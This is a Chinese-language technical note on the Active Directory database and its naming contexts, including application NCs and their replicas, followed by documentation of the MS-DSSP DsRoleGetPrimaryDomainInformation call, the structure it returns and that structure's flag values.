AD 是一个数据库。默认情况下,每台域控制器(DC)在 %SystemRoot%\NTDS 文件夹中以 ntds.dit 文件形式存储该数据库的一个副本。AD 数据库在逻辑上划分为三个目录分区,又称命名上下文(Naming Context,NC):架构 NC(Schema NC)、配置 NC(Configuration NC)和域 NC(Domain NC)。林中所有 DC 拥有相同的架构 NC 和配置 NC(这些信息在林范围内定义),而同一 AD 域中的每台 DC 都拥有本域域 NC 的相同副本。如果 DC 被指派为全局编录(GC)服务器,它还会包含林中其他域的域 NC 的部分副本——包含来自各域的所有对象,但仅是属性的一个子集。
NC指的是application naming context (application NC):特定类型的命名上下文(NC),或该类型的实例,仅支持完整副本(不支持部分副本)。应用程序 NC 不能包含 Active Directory 域服务 (AD DS) 中的安全主体对象,但可以包含 Active Lightweight Directory Services (AD LDS) 中的安全主体对象。一个林在 AD DS 或 AD LDS 中可以有零个或多个应用程序 NC 。应用程序 NC 可以包含动态对象。应用程序 NC 不会出现在全局目录(GC)中。应用程序 NC 的根是 domainDNS 类的对象。
应用程序目录分区的第一个副本是在创建时绑定到它的域控制器上创建的。 可以在林中的任何域控制器上创建其他副本,不一定与初始域控制器位于同一域中。 应用程序目录分区副本只能存在于运行 Windows Server 2003 或更高版本的域控制器上。
NC 副本:包含对象树的变量,其 根对象由某个命名上下文 (NC)标识。
[MS-DSSP] dssp.py — 目录服务设置(DsRoleGetPrimaryDomainInformation)
指定目录服务设置远程协议,它公开一个 RPC 接口,客户端可以调用该接口来获取与域相关的计算机状态和配置信息。
模块中仅实现了 hDsRolerGetPrimaryDomainInformation 方法,用于查询 MS-DSSP 接口的 DSROLER_PRIMARY_DOMAIN_INFO_BASIC 结构,内容如下:
typedef struct _DSROLER_PRIMARY_DOMAIN_INFO_BASIC {
DSROLE_MACHINE_ROLE MachineRole;计算机的当前角色,表示为DSROLE_MACHINE_ROLE 数据类型。
unsigned __int32 Flags;该值指示目录服务的状态和DomainGuid成员 中包含的信息的有效性。此参数的值必须为零或下表中一个或多个单独标志的组合。该组合是应用到为其检索信息的计算机的标志的按位或的结果。所有未定义的位必须为 0。
[unique, string] wchar_t* DomainNameFlat;计算机所属域或非域工作组的 NetBIOS 名称。如果 MachineRole 成员是 DsRole_RoleStandaloneWorkstation 或 DsRole_RoleStandaloneServer,则此成员必须为 NULL,否则不得为 NULL
[unique, string] wchar_t* DomainNameDns; 计算机的域名。如果MachineRole成员是DsRole_RoleStandaloneWorkstation 或DsRole_RoleStandaloneServer,则此成员必须为 NULL,否则不得为 NULL
[unique, string] wchar_t* DomainForestName;计算机所属的林 的名称。如果计算机是独立的工作站或服务器,则此成员必须为 NULL。
GUID DomainGuid;计算机所属域 的UUID 。仅当设置了 DSROLE_PRIMARY_DOMAIN_GUID_PRESENT 标志时,此成员的值才有效。
} DSROLER_PRIMARY_DOMAIN_INFO_BASIC,
*PDSROLER_PRIMARY_DOMAIN_INFO_BASIC;
| 值 | 含义 |
|---|---|
| DSROLE_PRIMARY_DS_RUNNING 0x00000001 | 目录服务正在这台计算机上运行。如果未设置此标志,则目录服务不会在此计算机上运行。 |
| DSROLE_PRIMARY_DS_MIXED_MODE 0x00000002 | 目录服务以混合模式运行。仅当设置了 DSROLE_PRIMARY_DS_RUNNING 标志且未设置 DSROLE_PRIMARY_DS_READONLY 标志时,此标志才有效。 |
| DSROLE_PRIMARY_DS_READONLY 0x00000008 | 计算机保存目录的只读副本。仅当设置了 DSROLE_PRIMARY_DS_RUNNING 标志且未设置 DSROLE_PRIMARY_DS_MIXED_MODE 标志时,此标志才有效。 |
| DSROLE_PRIMARY_DOMAIN_GUID_PRESENT 0x01000000 | DomainGuid成员包含一个有效的域 GUID。如果未设置此位,则 DomainGuid 成员中的值未定义。 |